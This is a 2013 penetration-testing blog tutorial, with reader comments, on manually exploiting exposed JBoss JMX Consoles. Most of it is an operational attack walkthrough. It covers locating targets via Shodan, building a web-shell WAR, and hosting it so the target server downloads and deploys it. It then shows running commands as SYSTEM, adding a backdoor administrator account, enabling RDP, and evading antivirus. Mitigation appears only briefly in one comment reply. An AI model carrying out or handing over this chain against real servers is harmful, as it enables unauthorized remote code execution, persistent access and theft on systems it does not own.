Monday, August 5, 2013

Manually Exploiting JBoss jmx-console


By Tony Lee and Chris Lee

Introduction


This article can almost be looked at as a follow-up to our previous article on Manually Exploiting Tomcat Manager (http://blog.opensecurityresearch.com/2012/09/manually-exploiting-tomcat-manager.html).  However, this time we will discuss how to achieve the same goals, but against JBoss instead.


JavaBeans Open Source Software Application Server (commonly shortened to JBoss) is a very popular open source implementation for handling JavaServer Pages (JSP).  JBoss contains a web accessible administrator page called the JMX Console.  The JMX Console is ironically plagued by the same vulnerability as Apache Tomcat Manager because it is often deployed with default, weak, or even no credentials.  Also comparable to Apache Tomcat Manager, JBoss allows administrators (and attackers) to upload and publish Web application ARchive (WAR) files remotely through this admin console.


A weak, default, or unprotected JMX Console is a very common initial foothold for attackers as they use this to remotely deploy and execute a payload to gain a backdoor to the host.  But how do we detect and exploit this vulnerability?


Vulnerability scanners will detect and identify this particular finding as:

JBoss Administrative Console Security Bypass Vulnerability (in McAfee Vulnerability Manager (MVM))

JBoss JMX Console Unrestricted Access (in Nessus)


Additionally, anyone can find JBoss instances by using resources such as Shodan (www.shodanhq.com) that provide the ability to search for HTTP headers such as:  “x-powered-by” “jboss”


There are a few Metasploit exploits (jboss_maindeployer, jboss_bshdeployer, jboss_invoke_deploy) that are the de facto exploits for this vulnerability and are usually rock solid; however we have seen a few occasions where it will fail with little-to-no explanation.   Additionally, the host may have antivirus (AV) or Host-based Intrusion Prevention System (HIPS) that catches the payload and it may be necessary to upload a custom binary manually instead of using the Metasploit Framework (MSF) to deploy it.  The information below is just one of many possible workarounds.


The major steps in our workaround process are:
  • Assess the situation
  • Download an alternative shell
  • Extract and understand the code
  • Create the WAR file
  • Create a web server to host the file
  • Deploy the WAR file
  • Utilize the JSP shell
  • Propagate and pillage
  • Destroy the shell

Assess the situation

In an ideal world, the exploit should work every time and yield a shell as shown in the screenshot below:


Figure 1:  Successful cmd.exe shell using the jboss_bshdeployer module available in Metasploit

However, in cases where we are not so lucky we need to manually deploy a shell so we can take control of the host.


Our scenario:

  • Windows 2008 R2 (64-bit) production box
  • Unprotected JMX Console running on the non-standard TCP port 3505
  • User Account Control (UAC) enabled
  • Tried setting target 1 (for Windows) and we were getting a “404” with all payloads  frustrating….
  • Tried automatic target and Java payloads—nothing worked!!


What do we do now?  Let’s do it manually.

Download an alternative shell


In the previous Tomcat article, we downloaded the Laudanum files (which contains the cmd.war file) from:  http://sourceforge.net/projects/laudanum/   (props to Kevin Johnson, Tim Medin, and John Sawyer)


According to the SourceForge page:

“Laudanum is a collection of injectable files, designed to be used in a pentest when SQL injection flaws are found and are in multiple languages for different environments. They provide functionality such as shell, DNS query, LDAP retrieval and others.”


We again tried to utilize the Laudanum shell in this instance and it was not working.  Our first guess was that AV was detecting the shell and that we either needed another shell or we needed to modify the current shell to bypass the detecting signature.  While searching for alternatives, we discovered a slick shell from the RedTeam Pentesting group (https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz).  We used wget as shown below to download the shell:

root@bt:~ # mkdir redteam


root@bt:~ # cd redteam


root@bt:~/redteam# wget https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz



Extract and understand the code

Before running a tool, it is best practice to try to understand the code.  Even if you are not familiar with the language, use Google and try to understand what the code is doing to the best of your abilities.  This will help you learn how to effectively use the tool and may identify limitations or areas of concern (such as unknowingly backdooring yourself).

root@bt:~/redteam# tar -zxvf redteam-jboss.tar.gz
BeanShellDeployer/mkbeanshell.rb
WAR/shell.jsp
WAR/WEB-INF/web.xml
Webconsole-Invoker/webconsole_invoker.rb
JMXInvokerServlet/http_invoker.rb
JMXInvokerServlet/jmxinvokerservlet.rb
jboss_jars/console-mgr-classes.jar
jboss_jars/jbossall-client.jar
README
setpath.sh
Rakefile


Create the WAR file

After reviewing the code and understanding how it works, we will now create the WAR file to deploy.

root@bt:~/redteam/WAR# jar cvf fs.war shell.jsp WEB-INF/
added manifest
adding: shell.jsp(in = 8527) (out= 2379)(deflated 72%)
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/web.xml(in = 396) (out= 203)(deflated 48%)


root@bt:~/redteam/WAR# file fs.war
fs.war: Zip archive data, at least v2.0 to extract


Create a web server to host the file

One of the JBoss deployment options is to fetch a WAR file from a remote web server.  This is ideal because we can easily provide this service by using our BackTrack or Kali distribution to fire up a web server to host our file.  As shown below, we first verify that we do not already have a service listening on port 80 and then start up an Apache server.  We verify that the Apache service started by confirming that it is now listening on port 80, and we copy the WAR file to the web root directory for our web server.

root@bt:~# netstat -an | grep :80


root@bt:~# /etc/init.d/apache2 start
* Starting web server apache2                           [OK ]


root@bt:~# netstat -an | grep :80
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     


root@bt:~/redteam/WAR# cp fs.war /var/www
root@bt:~/redteam/WAR#

You should now be able to manually browse to your local webserver to verify the presence of the file:
http://localhost/fs.war



Figure 2:  Creating the WAR file and moving it to the root of the webserver

Deploy the WAR file


Navigate to the JMX Console on the target host (http://IP.Ad.dr.ess:port/jmx-console/) and search for “service=MainDeployer”. 



Figure 3:  Using MainDeployer to do our dirty work

From here you’ll want to utilize the deploy() function since it allows you to enter a URL as a parameter value in java.net.URL.  In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button. 


Figure 4:  Populate deploy() function parameters


Utilize the JSP Shell

Utilize the shell on the target (found at /fs/shell.jsp in our example) to run various situational awareness commands.  Note that the JSP shell from RedTeam Pentesting requires a password.  By default the password is “secret”, unless you modify the shell.jsp ahead of time.


This shell allows you to pass parameters via the URL such as shell.jsp?pass=secret&cmd=whoami.  This may be ideal for scripting commands via wget or an http library in the language of your choosing (Python httplib2 for example).


Figure 5:  Attack runs whoami command to show that they are running with NT AUTHORITY\SYSTEM access

Additionally, the RedTeam shell provides a friendlier forms based page that allows command entry and file upload capabilities if you use the html parameter as shown below:

https://vulnerableserver.com:port?pass=secret&html=true




Figure 6:  Screenshot shows ability to run commands and upload files

This is a fairly intelligent shell that can recognize the operating system (OS) it is executing on.  That said, the Laudanum shell (that we used in the Tomcat article) required us to first specify “cmd.exe /c <command>” for certain commands such as dir, however this shell detects the underlying OS and does that for us automatically.


Propagate and pillage


In the Manually Exploiting Tomcat Manager article, we needed to obtain file transfer capabilities in order to upgrade our shell.  By using the RedTeam Pentesting shell, we already have file transfer capabilities.  Additionally, since in this example JBoss was running as NT AUTHORITY\SYSTEM, we were able to create and add the user to the local Administrators group and utilize RDP to log into the host.


Add a user:
net user chris <password> /add


Add user to local Administrators group:
net localgroup Administrators chris /add


Double check to make sure user is in local Administrators group:
net localgroup Administrators


Enable RDP from the command line (if needed):
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f



After using RDP to gain access to the host, we discovered that Symantec Antivirus originally caught and deleted all of our Metasploit payloads and our Laudanum shell.  Luckily, they did not detect our RedTeam Pentesting shell.  ;)  But this is a cat and mouse game.


Destroy the Shell


Once you are finished with the shell, you should remove it so no one else can utilize it.  To do this, complete the following steps:
  1. Navigate to the JBoss JMX web console on the target:  http://ip.ad.dr.ess:port/jmx-console/
  2. Search for:  “jboss.web.deployment“
  3. Find and click the hyperlink for the shell you deployed
  4. Find the destroy function and click the invoke button

Attempt to navigate to your shell to ensure that it is undeployed.

Summary

In our classes, we are asked why we often show students three or more different ways to complete a task.  We show the manual and tedious way to accomplish a task and then later show the easy, “one click fire” method.  Metasploit is a powerful framework that simplifies the attacks and adds fantastic functionality, but knowledge of the manual methods is a must—especially when your trusty tools are being blocked and in-depth troubleshooting is not an option.

Props


Contact Info

Tony Lee


Chris Lee


Special Thanks To

Bill Hau
Dan Dumond
David Pany
Dennis Hanzlik
Glen Edwards
Ian Ahl
Rudolph Araujo


7 comments:

  1. Nice post. Enjoyed your Tomcat one as well. Although I can't wait to try out the web shell in this one.

    ReplyDelete
  2. Great article. Especially the manual one to exploit.

    ReplyDelete
  3. I'm just starting to get familiar with all this. I followed everything exactly as instructed (line per line) But for some reason I can't even get the download to owrk properley when I manually open the page. I can open localhost but adding /fs.war gives me a 404 error. What do you think I'm doing wrong? TIA

    ReplyDelete
    Replies
    1. Hello, thanks for the comment/question. You don't open /fs.war. The war file gets deployed by JBoss and the resulting shell is shell.jsp (in our case it was /fs/shell.jsp). Let us know if that works.

      Delete
  4. Thanks for the content. Which would be the best way to fix it? Maybe just disable jmx-console shouldn't be a little hardcore? Anything about it to share too? ;D

    ReplyDelete
    Replies
    1. Sure thing. The best approach is to figure out if you need it. If not, disable it. If you do need it, can you limit access to it? Certainly prevent external access to it. Maybe even limit internal access to it. Lastly, patch and harden. Remove default accounts or at least change the password. Hope that helps! Best of luck in your jmx adventures. :-)

      Delete
  5. Hi, I tried a lot of JMX Consoles, but every time I tried to upload the fs.war file the connection reset (loaded for a very long time) or I got an error "org.jboss.deployment.DeploymentException: url http://IP_ADDRESS:8888/fs.war could not be opened, does it exist?"
    I tried on version 4 and 5 of JBOSS, in void deploy URL.
    I read in another article that maybe the dir and the fs.war file need to be accessible so I used chmod 777 to the dir and file but it still not working.
    Any suggestions?

    ReplyDelete